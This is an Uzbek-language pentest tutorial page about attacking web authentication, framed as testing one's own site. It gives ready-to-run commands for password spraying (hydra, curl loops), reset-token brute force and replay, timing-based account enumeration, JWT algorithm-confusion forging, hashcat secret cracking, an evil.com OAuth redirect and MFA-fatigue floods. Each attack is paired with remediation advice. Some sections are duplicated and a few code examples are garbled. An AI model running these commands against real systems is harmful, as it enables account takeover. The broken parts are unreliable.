Bu bo'limdagi hujumlar kirish tizimiga ta'sir qiladi. O'z saytingizda sinang — lekin o'z hisobingizni sinov qilib ishlatmang (bloklanib qolishingiz mumkin). Avval zaxira hisob yarating.
01Password spraying
Bitta parolni ko'plab hisoblarga urish. Brute force'dan sekin, lekin ko'proq joyga yetadi va bloklashni kamaytiradi.
Ko'p saytlar bir IP dan 10 urinishdan keyin bloklaydi. Spraying'da esa har bir hisobga faqat 1 ta urinish — blok chegarasiga tegilmaydi.
Differensiatsiyalangan parollar ro'yxati
# eng ko'p ishlatiladigan parollar (ma'lumotlar bazalaridan)
123456 password 12345678 qwerty 123456789
password1 iloveyou 111111 admin letmein
welcome monkey dragon 123123 football
sunshine princess 1234567 1234 baseball
Barcha platformada
$ # hydra — eng tez sudo apt install -y hydra hydra -L users.txt -p '123456' -t 4 -W 3 \ site.uz https-post-form "/login:username=^USER^&password=^PASS^:Login incorrect" # 4 thread, 3 sekund kutish
# CMD da oddiy loop for %%U in (ali@x.uz vali@x.uz olim@x.uz) do ( for %%P in (123456 password Password1 admin) do ( curl -s -X POST -H 'Content-Type: application/json' \ -d "{\"email\":\"%%U\",\"password\":\"%%P\"}" \ https://site.uz/api/auth/login | findstr "token" && echo " TOPILDI: %%U / %%P" ) REM har bir urinishdan keyin kutish ping -n 4 127.0.0.1 > nul )
# eng sodda — hech narsa o'rnatmasdan
for U in ali@x.uz vali@x.uz olim@x.uz; do
for P in 123456 password Password1 admin; do
R=$(curl -s -X POST -H 'Content-Type: application/json' \
-d "{\"email\":\"$U\",\"password\":\"$P\"}" https://site.uz/api/auth/login)
echo "$R" | grep -q token && echo " TOPILDI: $U / $P"
sleep 2
done
done
Admin login 10 urinish / 15 daqiqa cheklangan, lekin bu chekrov
ip|email bo'yicha edi — yani har bir email uchun alohida. Bu
spray uchun yaxshi, lekin tiklash kaliti uchun yomon edi (u tuzatildi).
02Parol tiklash — to'liq hujum zanjiri
Bu — eng ko'p uchraydigan va eng xavfli hujum. Maqsad: parolsiz begona hisobga kirish.
Zanjir qadamlari
Hisob mavjudligini aniqlash
curl -s -X POST -H 'Content-Type: application/json' \
-d '{"email":"admin@site.uz"}' https://site.uz/api/auth/forgot-password
Javoblar farq qiladimi? 200 vs 404 =
hisob mavjudligini ochib beradi.
Token qanchalik kuchli?
# javobdan token uzunligini ko'ring {"message":"Token yuborildi"} # token ID chiqadimi? {"reset_token":"abc123..."} ← token ochiq = XAVFLI
Token muddati
curl -s https://site.uz/api/auth/verify-reset-token/expired-token-123
{"valid":false,"message":"Vaqti o'tgan"}
# 1 soat/1 kun/1 yil? 1 yil = zaif
Token brute force
# token 6 raqamli bo'lsa — real xavf
for T in 000000 111111 123456; do
curl -s https://site.uz/api/auth/verify-reset-token/$T
done
2FA bilan bog'liqlik
Parol tiklash 2FAni chetlab o'tadimi? Bu — sizning saytda topilgan zaiflik aynan shu edi.
Qo'shimcha hujum usullari
# mass assignment: reset paytida rol o'zgartirish curl -s -X POST -H 'Content-Type: application/json' \ -d '{"token":"...","new_password":"New123!","role":"admin"}' \ https://site.uz/api/auth/reset-password # rol "admin" bo'lib qolsa — escalation # eski token bilan qayta ishlatish (replay) curl -s -X POST -d "token=$T&new_password=Aaa123!" https://site.uz/api/auth/reset-password curl -s -X POST -d "token=$T&new_password=Bbb123!" https://site.uz/api/auth/reset-password # ikkinchisi ishlasa — token single-use emas # boshqa foydalanuvchining tokeni bilan curl -s -X POST -d "token=$OTHER_USER_TOKEN&new_password=Hacked1!" \ https://site.uz/api/auth/reset-password
- Token crypto.randomBytes(32) bilan (kamida 128 bit)
- Muddati 15-60 daqiqa (1 yil emas)
- Single-use — ishlatilgach darhol o'chiriladi
- Rate limit: 5 urinish / 15 daqiqa, faqat IP bo'yicha
- Telegram/kiritilgan barcha sessiyalar bekor qilinsin
- Maxfiy hisoblar (admin) uchun — faqat email tasdiqlash
- Javob har doim bir xil ("agar mavjud bo'lsa yuborildi")
- 2FA talab qilinsin (agar yoqilgan bo'lsa)
- Token hech qachon javobda qaytarilmasin
03Account enumeration
Foydalanuvchi ro'yxatda bormi aniqlash — bruteforce uchun tayyorgarlik.
5 ta usul
| Usul | Sinash | Bashorat |
|---|---|---|
| Javob xabari | forgot-password ga turli email | "Email yo'q" vs "yuborildi" |
| HTTP kodi | for i in $(seq 1 50); do curl -o /dev/null -w '%{http_code}\n' -d "email=u$i@x.com" /api/auth/forgot-password; done | 200 vs 404 |
| Vaqt (timing) | 8 marta o'lchash, o'rtacha | 2ms farq ham yetarli |
| Ro'yxatdan o'chirish | Turli email bilan /register | "band" xabari |
| Login | Mavjud/yo'q email + noto'g'ri parol | Xabar farqi |
Timing hujumi
# mavjud email — bcrypt sekin (haqiqiy parol tekshiriladi) for i in 1 2 3 4 5 6; do curl -s -o /dev/null -w "%{time_total}\n" -X POST \ -H 'Content-Type: application/json' \ -d '{"email":"mavjud@site.uz","password":"wrong"}' \ https://site.uz/api/auth/login done | awk '{t+=$1} END {printf " o\u0020rtacha %.4f s\n", t/NR}' # yo'q email — sun'iy bcrypt (barchasi bir xil vaqt) for i in 1 2 3 4 5 6; do curl -s -o /dev/null -w "%{time_total}\n" -X POST \ -H 'Content-Type: application/json' \ -d '{"email":"yoq@site.uz","password":"wrong"}' \ https://site.uz/api/auth/login done | awk '{t+=$1} END {printf " o\u0020rtacha %.4f s\n", t/NR}' # farq 0.01 s dan katta bo'lsa — zaif
Har doim faqat noma'lum email uchun ham sun'iy bcrypt hisoblang. Natija: vaqt bir xil, javob bir xil, kod bir xil.
04JWT chuqurligi
4.1 Algoritm chalkashligi (RS256 → HS256)
Asymmetric (RS256) kalit ishlatilayotgan tizimda hujumchi ochiq public key ni HMAC sir sifatida ishlatib, o'zi token imzolaydi — sirni umuman bilmasdan.
# 1) header da "kid" ni topish
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null
{"alg":"RS256","kid":"key-2024-01","typ":"JWT"}
↑ kid — kalit identifikatori
# 2) jwks.json dan ochiq kalitni olish curl -s https://site.uz/.well-known/jwks.json | python3 -m json.tool # 3) HMAC sir sifatida ishlatib token yasash node -e " const jwt=require('jsonwebtoken'), crypto=require('crypto'), fs=require('fs'); const jwks=JSON.parse(fs.readFileSync('jwks.json')); const key=jwks.keys[0]; const pub=crypto.createPublicKey({key:jwkToPem(key),format:'pem'}).export({type:'spki',format:'pem'}); const token=jwt.sign({id:'1',role:'admin'}, pub, {algorithm:'HS256'}); console.log(token);"
jwt.verify(token, key, { algorithms: ['RS256'] });
// ↑ FAQAT RS256. HS256 qabul qilinmaydi.
// va `kid` ni ishonchli manbadan oling (foydalanuvchidan emas)
4.2 Zaif sir
# sirni sinab ko'rish — mashhur parollar ro'yxati for S in secret password admin key jwt lingofy 12345; do node -e " const jwt=require('jsonwebtoken'); try { jwt.verify('$TOKEN','$S'); console.log(' BUZILDI: sir = $S'); } catch(e) {}" done # hashcat/hashcat - dictionary bilan (sekin lekin to'liq) hashcat -m 16500 hash.txt rockyou.txt # JWT HS256
4.3 Boshqa zaifliklar
| Muammo | Sinash | Tuzatish |
|---|---|---|
kid SQL inj. | kid: "1 UNION SELECT ..." | kid ni validatsiya qiling |
| Jwk to'ldirish | {"alg":"HS256","jwk":{"kty":"oct","k":"..."}} | Header jwk si rad etilsin |
| Kid fayl yo'li | kid: "../../dev/null" | Yo'lni validatsiya qiling |
jku/x5u | Hujumchi serveriga kalit manzilini ko'rsatish | Faqat ishonchli URL |
| Token muddati 7 kun | exp ni tekshirish | 15 daqiqa + refresh |
| Secret kodlashda | subtle orqali o'qish | Faqat backend'da, HMAC tekshiruvi |
05OAuth / OIDC zaifliklari
Asosiy oqim
# 1. Ilova foydalanuvchini login sahifasiga yuboradi
https://site.uz/login?
# 2. Foydalanuvchi login qiladi va "Rozilik berish" bosing
# 3. GitHub/Google foydalanuvchini qaytaradi
https://site.uz/callback?code=AUTH_CODE&state=RANDOM
# 4. Backend code ni almashtiradi (token)
POST https://github.com/login/oauth/access_token
Zaifliklar
Zaiflik Sinash Xavf
state yo'q/ko'rinmas O'z callback URL'ni o'zgartirib qo'yish CSRF
Redirect URI tekshirilmaydi redirect_uri=https://evil.comToken o'g'irlash
Token kodlashda access_token ni URL'da kuzatishLogda saqlanadi
Scope o'zgartiriladi scope=admin read write deleteKengaytirilgan huquq
Email tasdiqlanmagan Gmail alias: a@gmail.com, a+test@gmail.com Hisob egallash
JWT none id_token ni o'zgartirish Token soxtalash
PKCE yo'q Mobile/desktop ilovalarda Kod o'g'irlash
state boshqaruvi
// ❌ XAVFLI — state yo'q
const url = '/callback?code=' + req.query.code;
// ✅ TO'G'RI — tasodifiy state, serverda saqlanadi
const state = crypto.randomBytes(16).toString('hex');
session.oauth_state = state;
// qaytishda tekshirish:
if (req.query.state !== session.oauth_state) return fail();
🛡 To'g'ri OAuth sozlamalari
state — tasodifiy 16+ bayt, serverda saqlansin
redirect_uri — aniq ro'yxatdan (substring emas!)
- Faqat
code (implicit emas) — yoki PKCE
- Token POST body da, URL'da emas
- Scope minimal: faqat kerakli
- Email verified ekanini tekshirish
- Ochiq redirect uchun:
redirect_uri da domenni tekshirish
06MFA chuqurligi
6.1 TOTP kodini qayta ishlatish (replay)
# 1-kod
curl -s -X POST -d "code=$T1" https://site.uz/2fa
{"success":true}
# 2-marta XUDDI shu kodni
curl -s -X POST -d "code=$T1" https://site.uz/2fa
{"success":true} ← ZAIF: replay mumkin
// to'g'ri javob: {"expired":true} yoki {"used":true}
6.2 TOTP oynasi juda katta
# nechta kod bir vaqtda qabul qilinadi?
window=1 → 3 ta kod (oldingi, joriy, keyingi) = 1/333333
window=5 → 11 ta kod = 1/90000 zaif
window=10 → 21 ta kod = 1/47619 juda zaif
// TO'G'RI: window=1 (yoki 0 = faqat joriy kod)
6.3 MFA charchashi (MFA fatigue)
🔴 Real hujum usuli
Hujumchi foydalanuvchini ko'plab bildirishnoma yuboradi:
# 50 marta "kirishga urinish" SMS yuborish
for i in $(seq 1 50); do
curl -s -X POST -d "user_id=1" https://site.uz/api/auth/request-2fa
done
# foydalanuvchi charchab, keyinchalik tasdiqlaydi
# → keyingi "kirish" so'rovi hujumchining bo'ladi
6.4 Zaxira kodlar
# zaxira kod bitta ishlatiladimi?
curl -s -X POST -d "email=a@x.uz&backup_code=12345678" https://site.uz/2fa
{"success":true}
curl -s -X POST -d "email=a@x.uz&backup_code=12345678" https://site.uz/2fa
{"success":true} ← bir necha marta ishlatilsa — zaif
# 2FA o'chiriladimi?
curl -s -X POST -H "Authorization: Bearer $T" -d "action=disable" https://site.uz/2fa
{"success":true} ← parol talab qilinmasa — xavfli
🛡 MFA qoidalari
- TOTP
window=1, muddati 30 soniya
- Kod single-use (ishlatilgach serverda belgilansin)
- Zaxira kodlar single-use + jadval bo'yicha saqlansin
- 2FA o'chirish uchun parol + joriy kod talab qilinsin
- Bildirishnoma chastotasiga limit (soatiga 3-5)
- Foydalanuvchi xaqiqiy ekanini tasdiqlash uchun bo'sh kod rad etilmasin
07Sessiya boshqaruvi
Masala Sinash Yechim
Idle timeout yo'q 2 soat kutib, so'rov yuboring 15-30 min idle
Ko'p sessiya Kirish → chiqish, eski cookie Barchasini ko'rsatish + bekor
Parol o'zgarganda bekor bo'lmaydi Eski cookie bilan so'rov Parol o'zgarganda hammasi o'chirilsin
Rotatsiya yo'q Login → ID kuzatish Login paytida ID yangilansin
Absolute timeout yo'q Kun bo'yi saqlanadi 7 kun, keyin qayta login
Idle timeout
# sayt qancha vaqt "yoniq" turadi?
curl -s -D- -o /dev/null https://site.uz/ | grep -i "set-cookie" | tr ';' '\n' | grep -i max-age
# Max-Age=3600 → 1 soat (absolute)
# idle timeout alohida bo'lishi kerak:
# har so'rovda last_activity yangilanadi,
# 15 daqiqa hech so'rov bo'lmasa → sessiya o'ladi
Sessiya aylanishi (rotation)
// ❌ login da ID o'zgarmaydi — fixation mumkin
app.post('/login', (req,res) => { session.regenerate(); ... });
// ✅ login da YANGI ID beriladi
app.post('/login', (req,res) => {
const oldId = req.session.id;
req.session.regenerate(() => { // yangi ID
req.session.oldIdForAudit = oldId;
...
});
});
08Parol siyosati tahlili
Talab Yaxshi Yomon
Uzunlik 12+ belgi 6-8 belgi
Murakkablik Uzunlik + zarurat bo'lmasa Majburiy !@#$
Ko'p ishlatilgan Ro'yxatga tekshirish Faqat qisqa belgi
Wording (jargon) "Parol123" ni rad etish Ishonchli bo'lishiga ishonish
Muddati Faqat zaiflik aniqlanganda Har 90 kunda majburlash
# majmuaviy ro'yxat bilan tekshirish
for P in 123456 password qwerty letmein admin welcome iloveyou monkey dragon; do
curl -s -X POST -H 'Content-Type: application/json' \
-d "{\"email\":\"test@x.uz\",\"password\":\"$P\"}" \
https://site.uz/api/auth/register | head -c 60
echo
done
# parol siyosati qanchalik kuchli?
curl -s -X POST -H 'Content-Type: application/json' \
-d '{"email":"a@b.com","password":"abc"}' https://site.uz/api/auth/register
{"message":"Parol kamida 8 belgi..."} ← zaif
{"message":"Parol kamida 12 belgi, katta/kichik harf va raqam..."} ← yaxshi
🛡 Zamonaviy tavsiya (NIST)
Parolni tez-tez o'zgartirishni talab qilmang — bu
odamlar Yil2024! kabi yomon parollar yaratishga undaydi. O'rniga:
uzunlik ≥ 12, majmuaviy ro'yxat tekshiruvi, va zaiflik topilganda almashtirish.
★Qaysi OS da ishlaydi
Hujum Linux CMD PowerShell Asbob
Password spraying hydra cmd.exe PS curl / hydra
Parol tiklash zanjiri curl curl iwr curl
Account enumeration curl curl iwr curl
JWT advanced Ikkalasi Ikkalasi Ikkalasi node + jsonwebtoken
Hashcat (JWT sir) GPU hashcat.exe hashcat.exe hashcat -m 16500
OAuth curl curl iwr curl + brauzer
MFA Ikkalasi Ikkalasi Ikkalasi curl + oathtool
Sessiya tahlili curl curl iwr curl
oathtool — 2FA ni terminaldan sinash
$ pip3 install oathtool
$ oathtool --totp -b JBSWY3DPEHPK3PXP -i 1 | xargs -I{} \
curl -s -X POST -d "code={}" https://site.uz/2fa
# pip orqali (Python o'rnatilgan bo'lishi kerak)
pip install oathtool
oathtool --totp -b JBSWY3DPEHPK3PXP -i 1
# yoki Node.js bilan (Node o'rnatilgan bo'lsa)
npm install -g otplib
node -e "const o=require('otplib');console.log(o.totp.create({secret:'JBSWY3DPEHPK3PXP'}).generate())"
| Zaiflik | Sinash | Xavf |
|---|---|---|
| state yo'q/ko'rinmas | O'z callback URL'ni o'zgartirib qo'yish | CSRF |
| Redirect URI tekshirilmaydi | redirect_uri=https://evil.com | Token o'g'irlash |
| Token kodlashda | access_token ni URL'da kuzatish | Logda saqlanadi |
| Scope o'zgartiriladi | scope=admin read write delete | Kengaytirilgan huquq |
| Email tasdiqlanmagan | Gmail alias: a@gmail.com, a+test@gmail.com | Hisob egallash |
JWT none | id_token ni o'zgartirish | Token soxtalash |
| PKCE yo'q | Mobile/desktop ilovalarda | Kod o'g'irlash |
state— tasodifiy 16+ bayt, serverda saqlansinredirect_uri— aniq ro'yxatdan (substring emas!)- Faqat
code(implicit emas) — yoki PKCE - Token POST body da, URL'da emas
- Scope minimal: faqat kerakli
- Email verified ekanini tekshirish
- Ochiq redirect uchun:
redirect_urida domenni tekshirish
Hujumchi foydalanuvchini ko'plab bildirishnoma yuboradi:
# 50 marta "kirishga urinish" SMS yuborish for i in $(seq 1 50); do curl -s -X POST -d "user_id=1" https://site.uz/api/auth/request-2fa done # foydalanuvchi charchab, keyinchalik tasdiqlaydi # → keyingi "kirish" so'rovi hujumchining bo'ladi
- TOTP
window=1, muddati 30 soniya - Kod single-use (ishlatilgach serverda belgilansin)
- Zaxira kodlar single-use + jadval bo'yicha saqlansin
- 2FA o'chirish uchun parol + joriy kod talab qilinsin
- Bildirishnoma chastotasiga limit (soatiga 3-5)
- Foydalanuvchi xaqiqiy ekanini tasdiqlash uchun bo'sh kod rad etilmasin
| Masala | Sinash | Yechim |
|---|---|---|
| Idle timeout yo'q | 2 soat kutib, so'rov yuboring | 15-30 min idle |
| Ko'p sessiya | Kirish → chiqish, eski cookie | Barchasini ko'rsatish + bekor |
| Parol o'zgarganda bekor bo'lmaydi | Eski cookie bilan so'rov | Parol o'zgarganda hammasi o'chirilsin |
| Rotatsiya yo'q | Login → ID kuzatish | Login paytida ID yangilansin |
| Absolute timeout yo'q | Kun bo'yi saqlanadi | 7 kun, keyin qayta login |
| Talab | Yaxshi | Yomon |
|---|---|---|
| Uzunlik | 12+ belgi | 6-8 belgi |
| Murakkablik | Uzunlik + zarurat bo'lmasa | Majburiy !@#$ |
| Ko'p ishlatilgan | Ro'yxatga tekshirish | Faqat qisqa belgi |
| Wording (jargon) | "Parol123" ni rad etish | Ishonchli bo'lishiga ishonish |
| Muddati | Faqat zaiflik aniqlanganda | Har 90 kunda majburlash |
Parolni tez-tez o'zgartirishni talab qilmang — bu
odamlar Yil2024! kabi yomon parollar yaratishga undaydi. O'rniga:
uzunlik ≥ 12, majmuaviy ro'yxat tekshiruvi, va zaiflik topilganda almashtirish.
| Hujum | Linux | CMD | PowerShell | Asbob |
|---|---|---|---|---|
| Password spraying | hydra | cmd.exe | PS | curl / hydra |
| Parol tiklash zanjiri | curl | curl | iwr | curl |
| Account enumeration | curl | curl | iwr | curl |
| JWT advanced | Ikkalasi | Ikkalasi | Ikkalasi | node + jsonwebtoken |
| Hashcat (JWT sir) | GPU | hashcat.exe | hashcat.exe | hashcat -m 16500 |
| OAuth | curl | curl | iwr | curl + brauzer |
| MFA | Ikkalasi | Ikkalasi | Ikkalasi | curl + oathtool |
| Sessiya tahlili | curl | curl | iwr | curl |
$ pip3 install oathtool $ oathtool --totp -b JBSWY3DPEHPK3PXP -i 1 | xargs -I{} \ curl -s -X POST -d "code={}" https://site.uz/2fa
# pip orqali (Python o'rnatilgan bo'lishi kerak) pip install oathtool oathtool --totp -b JBSWY3DPEHPK3PXP -i 1 # yoki Node.js bilan (Node o'rnatilgan bo'lsa) npm install -g otplib node -e "const o=require('otplib');console.log(o.totp.create({secret:'JBSWY3DPEHPK3PXP'}).generate())"
Autentifikatsiya chuqurligi · Pentest O'rgatuvchi · Lingofy.uz · 2026‑09‑26
O'z saytingizda sinang. O'z hisobingizni sinov qilib ishlatmang.